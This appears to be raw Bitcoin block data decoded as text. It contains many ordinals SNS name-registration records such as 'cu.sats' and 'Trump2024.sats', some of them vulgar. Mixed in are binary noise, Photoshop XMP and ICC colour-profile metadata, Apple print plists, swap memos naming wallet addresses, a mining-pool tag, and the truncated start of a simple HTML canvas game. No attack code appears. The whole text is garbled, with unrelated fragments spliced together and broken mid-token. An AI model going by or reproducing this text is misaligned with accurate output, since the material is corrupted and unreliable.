3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq text/plain;charset=utf-8 '{"p":"sns","op":"reg","name":"cu.sats"}h! text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"kaijun.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"0405.sats"}h! uiCCPkCGColorSpaceDisplayP3 "3 % % 3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq (((((((((((((((((((((((((((((((((((((((((((((((((( text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"0706.sats"}h! uiCCPkCGColorSpaceDisplayP3 text/plain;charset=utf-8 ,{"p":"sns","op":"reg","name":"Foxnews.sats"}h! "3 % % 3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"88881.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"88882.sats"}h! text/plain;charset=utf-8 .{"p":"sns","op":"reg","name":"Trump2024.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"0601.sats"}h! (((((((((((((((((((((((((((((((((((((((((((((((((( uiCCPkCGColorSpaceDisplayP3 text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"Golf.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"zaa.sats"}h! text/plain;charset=utf-8 1{"p":"sns","op":"reg","name":"Olympics2028.sats"}h! (((((((((((((((((((((((((((((((((((((((((((((((((( text/plain;charset=utf-8 0{"p":"sns","op":"reg","name":"mehmetdemir.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"otta.sats"}h! text/plain;charset=utf-8 "name": "helloworld.sats" uiCCPkCGColorSpaceDisplayP3 uiCCPkCGColorSpaceDisplayP3 2023-03-02T05:21:16+00:00 2023-03-02T05:21:16+00:00e 2023-03-02T05:21:16+00:002 text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"plug.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"0509.sats"}h! text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"Hawaii.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"Nike.sats"}h! "3 % % 3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq =mH_Up=mH_Up=mH_Up=mH_Up=mH_Up=mH_Up=mH_Up1 text/plain;charset=utf-8 &{"p":"sns","op":"reg","name":"8.sats"}h! "3 % % 3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq text/plain;charset=utf-8 -{"p":"sns","op":"reg","name":"Baseball.sats"}h! uiCCPkCGColorSpaceDisplayP3 text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"0411.sats"}h! "3 % % 3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq uiCCPkCGColorSpaceDisplayP3 text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"yaa.sats"}h! 2023-03-02T05:17:01+00:00 2023-03-02T05:17:01+00:00 "3 % % 3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq 9'wwwwwwwwwwwwwwwwwwwwwwwwwwws" bbbbbbbbbbbbbbbbbbbbba wwwwwwwwwwwwwwwwwwwwxoWZO_ text/plain;charset=utf-8 /{"p":"sns","op":"reg","name":"goldentree.sats"}h! text/plain;charset=utf-8 uiCCPkCGColorSpaceDisplayP3 text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"seedao.sats"}h! text/plain;charset=utf-8 /{"p":"sns","op":"reg","name":"Cryptokong.sats"}h! text/plain;charset=utf-8 0{"p":"sns","op":"reg","name":"Donaldtrump.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"aas.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"0904.sats"}h! text/plain;charset=utf-8 .{"p":"sns","op":"reg","name":"metaverse.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"ipay.sats"}h! text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"Amazon.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"MLB.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"0403.sats"}h! text/plain;charset=utf-8 -{"p":"sns","op":"reg","name":"6654sfdf.sats"}h! text/plain;charset=utf-8 text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"Texas.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"Soros.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"9725.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"clean.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"paint.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"cbtc.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"rbtc.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"ybtc.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"jbtc.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"ebtc.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"rave.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"99877.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"xbtc.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"zbtc.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"pbtc.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"peek.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"lush.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"vbtc.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"lbtc.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"ics.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"gbtc.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"ubtc.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"bbtc.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"speak.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"fbtc.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"icc.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"tbtc.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"fairy.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"kbtc.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"hbtc.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"cpdd.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"shock.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"iee.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"mute.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"nbtc.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"mbtc.sats"}h! Aj?=:ETH.ETH:0xd9D9a5Edf6E98912a2eDaa3286e34bf9ccae6c92:4020454::0 Bj@=:BNB.BNB:bnb1ms8rzuad9akhceh7r8pukhczvaz9cksgar8q20:19638567::0 text/plain;charset=utf-8 "name": "10018.sats" %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz &'()*56789:CDEFGHIJSTUVWXYM text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"2BTC.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"3BTC.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"4BTC.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"5BTC.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"6BTC.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"7BTC.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"9BTC.sats"}h! text/plain;charset=utf-8 iTXtXML:com.adobe.xmp " id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.b0f8be90, 2021/12/15-21:25:15 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xapM /1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 23.2 (Macintosh)" xmp:CreateDate="2023-02-16T14:40:24-08:00" xmp:ModifyDate="2023-02-16T17:49:29-08:00" xmp:MetadataDate="2023-02-16T17:49:29-08:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:23f1b535-dcc7-4cab-a09d-f1fad44d348b" xmpMM:DocumentID="adobe:docid:photoshop:53026210-a3db-cf41-84d6-d0d6a0967306" xmpMM:OriginalDocumentID="xmp.did:142ba10a-7f68-462e-8a66-b0a586c565d9"> <xmpM MM:History> <rdf:Seq> <rdf:li stEvt:action="created" stEvt:instanceID="xmp.iid:142ba10a-7f68-462e-8a66-b0a586c565d9" stEvt:when="2023-02-16T14:40:24-08:00" stEvt:softwareAgent="Adobe Photoshop 23.2 (Macintosh)"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:4727dc72-4081-464b-8a63-0e88c64e674c" stEvt:when="2023-02-16T16:20:08-08:00" stEvt:softwareAgent="Adobe Photoshop 23.2 (Macintosh)" stEvt:changed="/"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:23f1b535-dcc7-4cab-a09d-f1fad44d348b" stEvt:wM hen="2023-02-16T17:49:29-08:00" stEvt:softwareAgent="Adobe Photoshop 23.2 (Macintosh)" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>v text/plain;charset=utf-8 "name": "macs.sats" FjDOUT:7E62D4BB8A1A878DAD440FFF6447063F62B40FAC18A5264F93F1B2B910AC6F1C FjDOUT:4292C97742E54CE8A53EE07EB95AB59806F1A1EB5361BE996F4B929824D01693 FjDOUT:E5A8D6C2B7019EF16E3133153C9CA2ADB2AF3591B40E5C0AC1FA7925FF979235 FjDOUT:147455A4666B45C76BED69632F0EED8F3A0E2CC2FA3B4CAE9AC2D616305B34BC text/plain;charset=utf-8 /{"p":"sns","op":"reg","name":"suckmydick.sats"}h! text/plain;charset=utf-8 .{"p":"sns","op":"reg","name":"kissmyass.sats"}h! text/plain;charset=utf-8 -{"p":"sns","op":"reg","name":"jingdong.sats"}h! text/plain;charset=utf-8 text/plain;charset=utf-8 1{"p":"sns","op":"reg","name":"Dimensionals.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"psych.sats"}h! text/plain;charset=utf-8 /{"p":"sns","op":"reg","name":"psychology.sats"}h! text/plain;charset=utf-8 "name": "play.sats" text/plain;charset=utf-8 /{"p":"sns","op":"reg","name":"chenshuwei.sats"}h! text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"poopie.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"tulip.sats"}h! "3 % % 3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq text/plain;charset=utf-8 "name": "2x2.sats" "3 % % 3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq uiCCPkCGColorSpaceDisplayP3 d/Foundry USA Pool #dropgold/ text/plain;charset=utf-8 "name": "9654.sats" text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"Fzu.sats"}h! text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"fuzhou.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"FZU.sats"}h! text/plain;charset=utf-8 0{"p":"sns","op":"reg","name":"fuzhoudaxue.sats"}h! Copyright 2007 Apple Inc., all rights reserved. %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz &'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz (((((((((((((((((((((((((((((((((((((((((((((((((( (((((((((((((((((((((((((((((((((((((((((((((((((( text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"social.sats"}h! "3 % % 3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq (((((((((((((((((((((((((((((((((((((((((((((((((( text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"95533.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"aai.sats"}h! Adobe Photoshop CS3 Macintosh <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <key>com.apple.print.PageFormat.PMHorizontalRes</key> <key>com.apple.print.ticket.creator</key> <string>com.apple.jobticket</string> <key>com.apple.print.ticket.itemArray</key> <key>com.apple.print.PageFormat.PMHM <key>com.apple.print.ticket.stateFlag</key> <integer>0</integer> <key>com.apple.print.PageFormat.PMOrientation</key> <key>com.apple.print.ticket.creator</key> <string>com.apple.jobticket</string> <key>com.apple.print.ticket.itemArray</key> <key>com.apple.print.PageFormat.PMOrientation</key> <integer>1</integer> <key>com.apple.print.ticket.stateFlag</key> <integer>0</integer> <key>com.apple.print.PageFormat.PMScaling</key> <key>com.apple.print.ticket.creator</key> <string>com.apple.jobticket</string> <key>com.apple.print.ticket.itemArray</key> <key>com.apple.print.PageFormat.PMScaling</key> <key>com.apple.print.ticket.stateFlag</key> <integer>0</integer> <key>com.apple.print.PageFormat.PMVerticalRes</key> <key>com.apple.print.ticket.creator</key> ple.jobticket</string> <key>com.apple.print.ticket.itemArray</key> <key>com.apple.print.PageFormat.PMVerticalRes</key> <key>com.apple.print.ticket.stateFlag</key> <integer>0</integer> <key>com.apple.print.PageFormat.PMVerticalScaling</key> <key>com.apple.print.ticket.creator</key> <string>com.apple.jobticket</string> <key>com.apple.print.ticket.itemArray</key> <key>com.apple.print.PageFormat.PM MVerticalScaling</key> <key>com.apple.print.ticket.stateFlag</key> <integer>0</integer> <key>com.apple.print.subTicket.paper_info_ticket</key> <key>PMPPDPaperCodeName</key> <key>com.apple.print.ticket.creator</key> <string>com.apple.jobticket</string> <key>com.apple.print.ticket.itemArray</key> <key>PMPPDPaperCodeName</key> <string>A4</string> <key>com.apple.print.ticket.stateFlag</key> <key>PMPPDTranslationStringPaperName</key> <key>com.apple.print.ticket.creator</key> <string>com.apple.jobticket</string> <key>com.apple.print.ticket.itemArray</key> <key>PMPPDTranslationStringPaperName</key> <string>A4</string> <key>com.apple.print.ticket.stateFlag</key> <integer>0</integer> <key>PMTiogaPaperName</key> <key>com.apple.print.ticket.creatoM <string>com.apple.jobticket</string> <key>com.apple.print.ticket.itemArray</key> <key>PMTiogaPaperName</key> <string>iso-a4</string> <key>com.apple.print.ticket.stateFlag</key> <integer>0</integer> <key>com.apple.print.PageFormat.PMAdjustedPageRect</key> <key>com.apple.print.ticket.creator</key> <string>com.apple.jobticket</string> <key>com.apple.print.ticket.itemArray</key> com.apple.print.PageFormat.PMAdjustedPageRect</key> <integer>0</integer> <integer>0</integer> <real>783</real> <real>559</real> <key>com.apple.print.ticket.stateFlag</key> <integer>0</integer> <key>com.apple.print.PageFormat.PMAdjustedPaperRect</key> <key>com.apple.print.ticket.creator</key> <string>com.apple.jobticket</string> <key>com.apple.print.ticket.itemArray</key> >com.apple.print.PageFormat.PMAdjustedPaperRect</key> <real>-18</real> <real>-18</real> <real>824</real> <real>577</real> <key>com.apple.print.ticket.stateFlag</key> <integer>0</integer> <key>com.apple.print.PaperInfo.PMPPDPaperDimension</key> <key>com.apple.print.ticket.creator</key> <string>com.apple.jobticket</string> <key>com.apple.print.ticket.itemArray</key> ple.print.PaperInfo.PMPPDPaperDimension</key> <integer>0</integer> <integer>0</integer> <real>595</real> <real>842</real> <key>com.apple.print.ticket.stateFlag</key> <integer>0</integer> <key>com.apple.print.PaperInfo.PMPaperName</key> <key>com.apple.print.ticket.creator</key> <string>com.apple.jobticket</string> <key>com.apple.print.ticket.itemArray</key> <key>com.apple.prinM t.PaperInfo.PMPaperName</key> <string>iso-a4</string> <key>com.apple.print.ticket.stateFlag</key> <integer>0</integer> <key>com.apple.print.PaperInfo.PMUnadjustedPageRect</key> <key>com.apple.print.ticket.creator</key> <string>com.apple.jobticket</string> <key>com.apple.print.ticket.itemArray</key> <key>com.apple.print.PaperInfo.PMUnadjustedPageRect</key> <integer>0</integer> <integer>0</integer>M <real>783</real> <real>559</real> <key>com.apple.print.ticket.stateFlag</key> <integer>0</integer> <key>com.apple.print.PaperInfo.PMUnadjustedPaperRect</key> <key>com.apple.print.ticket.creator</key> <string>com.apple.jobticket</string> <key>com.apple.print.ticket.itemArray</key> <key>com.apple.print.PaperInfo.PMUnadjustedPaperRect</key> <real>-18</real> <real>-18</real> <real>577</real> <key>com.apple.print.ticket.stateFlag</key> <integer>0</integer> <key>com.apple.print.PaperInfo.ppd.PMPaperName</key> <key>com.apple.print.ticket.creator</key> <string>com.apple.jobticket</string> <key>com.apple.print.ticket.itemArray</key> <key>com.apple.print.PaperInfo.ppd.PMPaperName</key> <string>A4</string> <key>com.apple.print.ticket.stateFlag</key> <integer>0</integer> <key>com.apple.print.ticket.APIVersion</key> <string>00.20</string> <key>com.apple.print.ticket.type</key> <string>com.apple.print.PaperInfoTicket</string> <key>com.apple.print.ticket.APIVersion</key> <string>00.20</string> <key>com.apple.print.ticket.type</key> <string>com.apple.print.PageFormatTicket</string> /ns.adobe.com/xap/1.0/ " id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 4.1-c036 46.276720, Mon Feb 19 2007 22:13:43 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xap="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xapMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/RM esourceRef#" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:exif="http://ns.adobe.com/exif/1.0/" xap:CreateDate="2023-03-01T01:05:07+02:00" xap:ModifyDate="2023-03-01T01:05:07+02:00" xap:MetadataDate="2023-03-01T01:05:07+02:00" xap:CreatorTool="Adobe Photoshop CS3 Macintosh" dc:format="image/jpeg" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1" photoshop:History="" xapMM:InstanceID="uuid:88210741BDB8ED1198F1FE137501CB69" xapMM:DocumentID="uuid:87210741BDB8ED1198F1FE137501CB69" tiff:Orientation="1M " tiff:XResolution="3000000/10000" tiff:YResolution="3000000/10000" tiff:ResolutionUnit="2" tiff:NativeDigest="256,257,258,259,262,274,277,284,530,531,282,283,296,301,318,319,529,532,306,270,271,272,305,315,33432;6E7F583F581A6F97BE18EB8BDC70C77F" exif:PixelXDimension="801" exif:PixelYDimension="800" exif:ColorSpace="1" exif:NativeDigest="36864,40960,40961,37121,37122,40962,40963,37510,40964,36867,36868,33434,33437,34850,34852,34855,34856,37377,37378,37379,37380,37381,37382,37383,37384,37385,37386,37396,41483,41484,M 41486,41487,41488,41492,41493,41495,41728,41729,41730,41985,41986,41987,41988,41989,41990,41991,41992,41993,41994,41995,41996,42016,0,2,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,20,22,23,24,25,26,27,28,30;0CD86AE5E980B99D7F30FECCB47A5DE1"> <xapMM:DerivedFrom stRef:instanceID="uuid:00BCCA6C63B0ED1187E0DFFF4327866D" stRef:documentID="uuid:FFBBCA6C63B0ED1187E0DFFF4327866D"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> M M M M <?xpacket end="w"?> Copyright (c) 1998 Hewlett-Packard Company IEC http://www.iec.ch .IEC 61966-2.1 Default RGB colour space - sRGB .IEC 61966-2.1 Default RGB colour space - sRGB ,Reference Viewing Condition in IEC61966-2.1 ,Reference Viewing Condition in IEC61966-2.1 Adobe Photoshop CS3 Macintosh on="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <key>com.apple.print.PageFormat.PMHorizontalRes</key> <key>com.apple.print.ticket.creator</key> <string>com.apple.jobticket</string> <key>com.apple.print.ticket.itemArray</key> <key>com.apple.print.PageFormat.PMHorizontalRes</key> <key>com.apple.print.ticket.stateFlag</key> <integer>0</integeM <key>com.apple.print.PageFormat.PMOrientation</key> <key>com.apple.print.ticket.creator</key> <string>com.apple.jobticket</string> <key>com.apple.print.ticket.itemArray</key> <key>com.apple.print.PageFormat.PMOrientation</key> <integer>1</integer> <key>com.apple.print.ticket.stateFlag</key> <integer>0</integer> <key>com.apple.print.PageFormat.PMScaling</key> <key>com.apple.print.ticket.creaM <string>com.apple.jobticket</string> <key>com.apple.print.ticket.itemArray</key> <key>com.apple.print.PageFormat.PMScaling</key> <key>com.apple.print.ticket.stateFlag</key> <integer>0</integer> <key>com.apple.print.PageFormat.PMVerticalRes</key> <key>com.apple.print.ticket.creator</key> <string>com.apple.jobticket</string> <key>com.apple.print.ticket.itemArray</key> <key>com.apple.pM rint.PageFormat.PMVerticalRes</key> <key>com.apple.print.ticket.stateFlag</key> <integer>0</integer> <key>com.apple.print.PageFormat.PMVerticalScaling</key> <key>com.apple.print.ticket.creator</key> <string>com.apple.jobticket</string> <key>com.apple.print.ticket.itemArray</key> <key>com.apple.print.PageFormat.PMVerticalScaling</key> <key>com.apple.print.ticket.stateFlag</key> <integer>0</intM <key>com.apple.print.subTicket.paper_info_ticket</key> <key>PMPPDPaperCodeName</key> <key>com.apple.print.ticket.creator</key> <string>com.apple.jobticket</string> <key>com.apple.print.ticket.itemArray</key> <key>PMPPDPaperCodeName</key> <string>A4</string> <key>com.apple.print.ticket.stateFlag</key> <integer>0</integer> <key>PMPPDTranslationStringPaperName</key> <key>com.apple.print.ticket.creator</key> <string>com.apple.jobticket</string> <key>com.apple.print.ticket.itemArray</key> <key>PMPPDTranslationStringPaperName</key> <string>A4</string> <key>com.apple.print.ticket.stateFlag</key> <integer>0</integer> <key>PMTiogaPaperName</key> <key>com.apple.print.ticket.creator</key> <string>com.apple.jobticket</string> <key>com.apple.print.ticket.itemArray</key> <key>PMTiogaPaperName</key> <string>iso-a4</string> <key>com.apple.print.ticket.stateFlag</key> <integer>0</integer> <key>com.apple.print.PageFormat.PMAdjustedPageRect</key> <key>com.apple.print.ticket.creator</key> <string>com.apple.jobticket</string> <key>com.apple.print.ticket.itemArray</key> <key>com.apple.print.PageFormat.PMAdjustedPageRect</key> <integer>0</integer> <real>783</real> <real>559</real> <key>com.apple.print.ticket.stateFlag</key> <integer>0</integer> <key>com.apple.print.PageFormat.PMAdjustedPaperRect</key> <key>com.apple.print.ticket.creator</key> <string>com.apple.jobticket</string> <key>com.apple.print.ticket.itemArray</key> <key>com.apple.print.PageFormat.PMAdjustedPaperRect</key> <real>-18</real> <real>-18</reM <real>824</real> <real>577</real> <key>com.apple.print.ticket.stateFlag</key> <integer>0</integer> <key>com.apple.print.PaperInfo.PMPPDPaperDimension</key> <key>com.apple.print.ticket.creator</key> <string>com.apple.jobticket</string> <key>com.apple.print.ticket.itemArray</key> <key>com.apple.print.PaperInfo.PMPPDPaperDimension</key> <integer>0</integer> <integer>0</integM <real>595</real> <real>842</real> <key>com.apple.print.ticket.stateFlag</key> <integer>0</integer> <key>com.apple.print.PaperInfo.PMPaperName</key> <key>com.apple.print.ticket.creator</key> <string>com.apple.jobticket</string> <key>com.apple.print.ticket.itemArray</key> <key>com.apple.print.PaperInfo.PMPaperName</key> <string>iso-a4</string> <key>com.apple.print.ticket.stateFlag</key> <integer>0</integer> <key>com.apple.print.PaperInfo.PMUnadjustedPageRect</key> <key>com.apple.print.ticket.creator</key> <string>com.apple.jobticket</string> <key>com.apple.print.ticket.itemArray</key> <key>com.apple.print.PaperInfo.PMUnadjustedPageRect</key> <integer>0</integer> <integer>0</integer> <real>783</real> <real>559</real> <key>com.apple.print.ticket.stateFlag</key>M <integer>0</integer> <key>com.apple.print.PaperInfo.PMUnadjustedPaperRect</key> <key>com.apple.print.ticket.creator</key> <string>com.apple.jobticket</string> <key>com.apple.print.ticket.itemArray</key> <key>com.apple.print.PaperInfo.PMUnadjustedPaperRect</key> <real>-18</real> <real>-18</real> <real>824</real> <real>577</real> <key>com.apple.print.ticket.stateFlag</key> <integer>0</integer> <key>com.apple.print.PaperInfo.ppd.PMPaperName</key> <key>com.apple.print.ticket.creator</key> <string>com.apple.jobticket</string> <key>com.apple.print.ticket.itemArray</key> <key>com.apple.print.PaperInfo.ppd.PMPaperName</key> <string>A4</string> <key>com.apple.print.ticket.stateFlag</key> <integer>0</integer> <key>com.apple.print.ticket.APIVersion</key> <key>com.apple.print.ticket.type</key> <string>com.apple.print.PaperInfoTicket</string> <key>com.apple.print.ticket.APIVersion</key> <string>00.20</string> <key>com.apple.print.ticket.type</key> <string>com.apple.print.PageFormatTicket</string> http://ns.adobe.com/xap/1.0/ " id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 4.1-c036 46.276720, Mon Feb 19 2007 22:13:43 "> <rdf:RDF xmlns:rdf=M "http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xap="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xapMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:exif="http://ns.adobe.com/exif/1.0/" xap:CreateDate="2023-03-01T01:05:38+02:00" xap:ModifyDate="2023-03-01T01:05:38+02:00" xap:MetadataDate="2023-03-M 01T01:05:38+02:00" xap:CreatorTool="Adobe Photoshop CS3 Macintosh" dc:format="image/jpeg" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1" photoshop:History="" xapMM:InstanceID="uuid:F45B8B53BDB8ED1198F1FE137501CB69" xapMM:DocumentID="uuid:F35B8B53BDB8ED1198F1FE137501CB69" tiff:Orientation="1" tiff:XResolution="3000000/10000" tiff:YResolution="3000000/10000" tiff:ResolutionUnit="2" tiff:NativeDigest="256,257,258,259,262,274,277,284,530,531,282,283,296,301,318,319,529,532,306,270,271,272,305,315,3343M 2;FC6C72C2D76DCAFDB6D143BC8ECA035D" exif:PixelXDimension="801" exif:PixelYDimension="800" exif:ColorSpace="1" exif:NativeDigest="36864,40960,40961,37121,37122,40962,40963,37510,40964,36867,36868,33434,33437,34850,34852,34855,34856,37377,37378,37379,37380,37381,37382,37383,37384,37385,37386,37396,41483,41484,41486,41487,41488,41492,41493,41495,41728,41729,41730,41985,41986,41987,41988,41989,41990,41991,41992,41993,41994,41995,41996,42016,0,2,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,20,22,23,24,25,26,27,28,30;0CD86AE5EM 980B99D7F30FECCB47A5DE1"> <xapMM:DerivedFrom stRef:instanceID="uuid:B159DEEECDB0ED1187E0DFFF4327866D" stRef:documentID="uuid:B059DEEECDB0ED1187E0DFFF4327866D"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> M M M M <?xpacket end="w"?> Copyright (c) 1998 Hewlett-Packard Company IEC http://www.iec.ch IEC http://www.iec.ch .IEC 61966-2.1 Default RGB colour space - sRGB .IEC 61966-2.1 Default RGB colour space - sRGB ,Reference Viewing Condition in IEC61966-2.1 ,Reference Viewing Condition in IEC61966-2.1 text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"xxx.sats"}h! iTXtXML:com.adobe.xmp <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:exif="http://ns.adobe.com/exif/1.0/"> <exif:PixelYDimension>634</exif:PixelYDimension> <exif:PixelXDimension>632</exif:PixelXDimension> <exif:UserComment>Screenshot</exif:UserComment> </rdf:Description> text/html;charset=utf-8 <meta name="viewport" content="width=device-width, initial-scale=1.0"/> border:21px solid #000000; background-color: #F28810; <body onload="startGame()"> function startGame() { myGamePiece = new component(2.1, 21.1, "orange", 100, 100); myGamePiece2 = new component(3, 42, "black", 210, 110); myGamePiece3 = new component(1, 7, "gold", 315, 115); myGameArea.start(); as : document.createElement("canvas"), start : function() 